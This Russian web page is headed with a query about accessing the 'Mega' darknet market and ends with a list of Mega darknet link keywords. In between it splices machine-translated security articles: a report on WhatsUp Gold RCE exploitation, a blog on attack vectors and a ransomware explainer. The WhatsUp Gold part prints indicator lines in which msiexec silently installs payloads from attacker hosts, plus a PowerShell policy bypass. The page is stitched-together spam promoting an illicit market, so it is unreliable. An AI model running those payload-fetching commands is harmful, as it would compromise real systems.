Как зайти на мегу

Команда Trend Micro Managed Extended Detection and Response (MXDR) наблюдала атаки удаленного выполнения кода (RCE) на WhatsUp Gold, приложение для мониторинга сети и ИТ-инфраструктуры, в настоящее время предоставляемое Progress Software Corporation, и его компоненты, работающие в Windows (рисунок 1). Атаки злоупотребляли скриптом Active Monitor PowerShell, одной из законных функций продукта, с 30 августа. Уязвимости RCE CVE-2024-6670 и CVE-2024-6671 были раскрыты поставщиком 16 августа; исправления были доступны в то же время. Согласно раскрытию, «если приложение настроено только для одного пользователя, уязвимость SQL Injection позволяет неаутентифицированному злоумышленнику получить зашифрованный пароль пользователя». Однако оценки CVSS обеих уязвимостей отмечены как 9,8, что предполагает возможность RCE. В августе первооткрыватель уязвимости Сина Кхейрха (@SinSinology) из Summoning Team (@SummoningTeam) опубликовал запись в блоге и предоставил PoC по этой теме. PoC показал, как перезаписать произвольную строку в качестве нового пароля, и это объяснение соответствует нашим наблюдениям. Как атаки наблюдались в Trend Vision One. Первоначальный доступ. Мониторинг активности в Trend Vision One показал, что подозрительный скрипт, извлеченный из подозрительного URL-адреса, был внезапно выполнен на компьютере, на котором размещен WhatsUp Gold. Временная шкала до инцидента не показывала подозрительных событий входа в систему, подозрительных URL-адресов, к которым обращались пользователи, или выполнения вредоносного ПО. Это типичные события на ранних стадиях инцидентов, но если они не появились, более вероятно, что была задействована уязвимость. Процесс опроса NmPoller.exe, исполняемый файл WhatsUp Gold, по-видимому, может размещать скрипт под названием Active Monitor PowerShell Script в качестве законной функции (рисунок 2). В этом случае злоумышленники выбрали его для выполнения удаленного произвольного кода. Вредоносный код, который был выполнен NmPoller.exe, выглядит следующим образом: Первая часть квадрата — это префикс, а последние две строки — вредоносный код, отправленный злоумышленником. Было замечено несколько вариаций этой части, как показано на рисунке 3. Эта временная шкала предполагает, что попытки эксплойта могли быть выполнены в тот же день, всего через несколько часов после публикации PoC. PoC был выпущен в пятницу перед длинными выходными в США, которые включали праздник, поэтому многим организациям могло быть сложно немедленно применить исправление. Однако последнее исправление было предоставлено до выпуска PoC, поэтому, если в исправлении есть такая информация, как исправление уязвимости высокой степени серьезности, планирование раннего применения исправления должно помочь предотвратить ущерб, даже если PoC недоступно. Censys выпустила рекомендацию о том, что они обнаружили 1207 уязвимых устройств в сети для CVE-2024-4885, еще одной уязвимости WhatsUp Gold, которая имеет оценку CVSS 9,8 и была исправлена ​​в июне. Это могло привлечь внимание злоумышленников как поверхность атаки после раскрытия серьезных уязвимостей в июне. Смягчение. Пострадавший хост был затронут из-за компрометации аутентификации пользователя для WhatsUp Gold. Пользователи продукта должны предпринять следующие шаги, чтобы избежать аналогичного воздействия: Примените последний патч как можно скорее. Официальная документация по продукту, такая как заметки о выпуске и бюллетени безопасности, находится на веб-сайте поставщика. Держите консоль управления или конечные точки API под контролем доступа. Избегайте раскрытия корпоративных продуктов в общедоступном Интернете, чтобы злоумышленники не могли их найти и просканировать. Используйте надежный пароль. Обратите внимание, что даже если вы уже применили все патчи и не пострадали от уязвимости, вы все равно можете пострадать, если используете слабый пароль (например, admin:admin) без контроля доступа. Мониторинг. Чтобы обнаружить атаки, которые мы наблюдали, мы отслеживали события создания процессов из следующих процессов: {Путь установки WhatsUp Gold}\nmpoller.exe Например, если C:\Program Files (x86)\Ipswitch\WhatsUp\nmpoller.exe создает процессы, подобные следующим, это крайне подозрительно: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -file c:\programdata\a.ps1 "C:\Windows\system32\msiexec.exe" /i hxxps://fedko[.]org/wp-includes/ID3/setup.msi /Qn "C:\Windows\system32\msiexec.exe" /i hxxp://45.227.255[.]216:29742/ddQCz2CkW8/setup.msi /Qn "C:\Windows\system32\msiexec.exe"i \windows\temp\MSsetup.msi /Qn Пример запроса для приложения Vision One Search Метод поиска: Данные об активности конечной точки Запрос: "nmpoller.exe" И eventSubId:(2 ИЛИ 101 ИЛИ 109 ИЛИ 901) Советы по мониторингу: События перезапуска продукта или создания ежедневного файла журнала также будут отображаться в результатах. Пожалуйста, отслеживайте события, исключая регулярные события в вашей среде. Цифровая трансформация и удаленная работа быстро расширили поверхность атаки. Поскольку набор приложений, веб-сайтов, учетных записей, устройств, облачной инфраструктуры, серверов и операционных технологий (OT) продолжает расти, управление поверхностью атаки также становится все более сложным. Неудивительно, что 73% руководителей ИТ и бизнеса, опрошенных в глобальном исследовании Trend Micro, заявили, что их беспокоит размер их цифровой поверхности атаки. Эффективное управление рисками поверхности атаки (ASRM) начинается с упреждающей защиты начальных векторов атаки, а не с реактивной защиты после того, как злоумышленники уже взломали вашу сеть. Согласно отчету IBM о стоимости утечки данных за 2024 год, векторы атак с более длительным средним временем выявления и сдерживания были одними из самых дорогих типов нарушений. В этом блоге я рассматриваю семь ключевых начальных векторов атак, чтобы помочь руководителям служб безопасности разведки (CISO) и руководителям служб безопасности укрепить свою стратегию безопасности ASRM и снизить киберриски. 1. Электронная почта Риски. Электронная почта остается одним из наиболее распространенных начальных векторов атаки для киберпреступников из-за простоты манипуляции ею. В 2023 году 73,8 млрд из более чем 161 млрд общих угроз, заблокированных Trend, были связаны с электронной почтой. Расходы, связанные с этими атаками, также растут; согласно отчету IBM 2024 Cost of a Data Breach Report, фишинг обходится предприятиям в среднем в 4,88 млн долларов США в год. Кроме того, атаки на основе электронной почты будет все сложнее обнаруживать из-за генеративного ИИ (GenAI), который может позволить злоумышленнику создавать фишинговые и компрометирующие сообщения деловой электронной почты (BEC) очень реалистичными и заманчивыми способами — и на любом языке. Это еще больше расширяет круг потенциальных целей фишинга. Что могут сделать предприятия. Выйдите за рамки собственной безопасности электронной почты, выбрав поставщика с многоуровневой защитой с помощью следующих технологий: 1. Шлюз электронной почты, использующий ИИ, МО, поведенческий анализ и анализ авторства; 2. Технология брокера безопасности облачных приложений (CASB), анализирующая входящие электронные письма путем сканирования ссылок, вложений и сообщений между коллегами, чтобы предотвратить фишинг других сотрудников со скомпрометированных учетных записей; 3. Защищенный веб-шлюз (SWG), обеспечивающий дополнительную защиту при переходе по вредоносной ссылке путем проверки трафика на линии, выполнения анализа изображений и использования МО для анализа фирменных элементов, форм входа и другого содержимого сайта для распознавания поддельных веб-сайтов; 4. Обучение пользователей с помощью встроенных симуляций и обучения по повышению осведомленности о безопасности, где в идеале поставщик будет предлагать фишинговые тесты на основе шаблонов, извлеченных из недавних реальных фишинговых мошенничеств 2. Веб и веб-приложения. Риски. Атаки с использованием межсайтового скриптинга (XSS) используют недостатки кодирования на веб-сайтах или веб-приложениях для получения ввода от пользователей. Неудивительно, что XSS остается основным в 10 главных рисках безопасности веб-приложений Open Web Application Security Project (OWASP) — серьезная уязвимость XSS в Ivory Search, поисковом плагине WordPress, оставила 60 000 веб-сайтов открытыми для внедрения вредоносного кода. С удаленной работой и переходом на облачные сервисы, приводящими к буму веб-сайтов и приложений, предприятиям необходимо усилить свою защиту от этого первоначального вектора атак. Определение программы-вымогателя. Программа-вымогатель — это тип вредоносного ПО, которое блокирует или ограничивает доступ пользователей к своей системе, либо блокируя экран системы, либо блокируя файлы пользователей до тех пор, пока не будет заплачен выкуп. Более современные семейства программ-вымогателей, в совокупности классифицируемые как программы-криптовымогатели, шифруют определенные типы файлов на зараженных системах и заставляют пользователей платить выкуп через определенные способы онлайн-платежей, чтобы получить ключ дешифрования. Цены на выкуп и оплата. Цены на выкуп варьируются в зависимости от варианта программы-вымогателя и цены или обменного курса цифровых валют. Благодаря предполагаемой анонимности, предлагаемой криптовалютами, операторы программ-вымогателей обычно указывают платежи выкупа в биткойнах. Последние варианты программ-вымогателей также указали альтернативные варианты оплаты, такие как подарочные карты iTunes и Amazon. Однако следует отметить, что уплата выкупа не гарантирует, что пользователи получат ключ дешифрования или инструмент разблокировки, необходимые для восстановления доступа к зараженной системе или захваченным файлам. Как распространяется программа-вымогатель. Пользователи могут столкнуться с этой угрозой различными способами. Программа-вымогатель может быть загружена в систему, когда ничего не подозревающие пользователи посещают вредоносные или скомпрометированные веб-сайты. Она также может поступать в качестве полезной нагрузки, которая либо сбрасывается, либо загружается другим вредоносным ПО. Некоторые программы-вымогатели доставляются в виде вложений из спам-писем, загружаются с вредоносных страниц через вредоносную рекламу или сбрасываются наборами эксплойтов в уязвимые системы. После запуска в системе программа-вымогатель может либо заблокировать экран компьютера, либо, в случае криптовымогателя, зашифровать заранее определенные файлы. В первом сценарии на экране зараженной системы отображается полноэкранное изображение или уведомление, что не позволяет жертве использовать свою систему. В этом уведомлении также подробно описываются инструкции о том, как пользователь может заплатить выкуп. Во втором сценарии программа-вымогатель блокирует доступ к потенциально важным или ценным файлам, таким как документы и электронные таблицы. Программы-вымогатели считаются «scareware», поскольку они заставляют пользователей платить плату (или выкуп), пугая или запугивая их. В этом смысле они похожи на вредоносное ПО FakeAV, но вместо того, чтобы захватывать зараженную систему или шифровать файлы, FakeAV показывает поддельные результаты сканирования на вредоносное ПО, чтобы убедить пользователей приобрести поддельное антивирусное ПО. Как предотвратить атаки программ-вымогателей. Чтобы защитить себя и свою систему от программ-вымогателей, выполните следующие рекомендуемые действия: Избегайте открытия непроверенных писем или перехода по ссылкам, встроенным в них. Создавайте резервные копии важных файлов, используя правило 3-2-1: создавайте три резервные копии на двух разных носителях, одну из которых храните в отдельном месте. Регулярно обновляйте программное обеспечение, программы и приложения, чтобы защитить их от последних уязвимостей. Создайте культуру безопасности и снабдите персонал достаточными знаниями о программах-вымогателях и других угрозах, которые используют фишинг и незащищенные учетные записи в своих кампаниях. Обеспечьте соблюдение принципа наименьших привилегий, чтобы пользователи не запускали определенные программы, которые могут использоваться разновидностями программ-вымогателей. Ограничьте доступ к общим или сетевым дискам и отключите общий доступ к файлам. Это сводит к минимуму риск распространения заражения программами-вымогателями на другие устройства. рганизации также могут смягчить последствия публичного позора, связанного с условиями схемы двойного вымогательства программ-вымогателей, проявив ответственность и предприняв следующие шаги: Уведомите правоохранительные органы об атаке и масштабах утечки данных. Соблюдайте протоколы регулирования данных, такие как Общий регламент по защите данных (GDPR), и делайте необходимые раскрытия и уведомления. Предотвращайте успех подобных атак, устраняя проблемы безопасности, используемые атакой. Читать полностью...

• Мега Даркнет Форум
• Mega Darknet Ссылка
• Мега Актуальные Ссылки Mega Darknet Sb Com
• Mega Dark Market Ссылка
• Мега Даркнет Вход
• Ссылка На Мега Тор Megadarknets2 Xyz
• Mega Gl Life